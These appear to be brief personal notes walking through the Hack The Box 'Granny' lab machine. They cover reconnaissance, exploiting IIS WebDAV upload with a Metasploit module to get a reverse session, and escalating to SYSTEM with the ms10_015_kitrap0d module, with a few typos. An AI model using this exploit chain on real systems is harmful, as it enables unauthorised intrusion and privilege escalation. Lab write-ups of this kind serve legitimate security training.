HTB Granny Machine

ping 10.10.10.15 whatweb 10.10.10.15

echo “10.10.10.15 grany.htb” » /etc/hosts access site -> basic static page

namp granny.htb

msfocnsole use windows/iis/iis_webdav_upload_asp set lhost, lport and rhost run

cd c:/ cd “Documents and Settings” cd Lakis -> Operation failed: Access is denied.

ps -> find NETWORK PRIVILEGES migrate

getuid -> NETWORK PRIVILEGES background

check metasploit privilege escalation use windows/local/ms10_015_kitrap0d set lport, lhost and session run

getuid -> SYSTEM PRIVILEGES cd “Documents and Settings”

get flags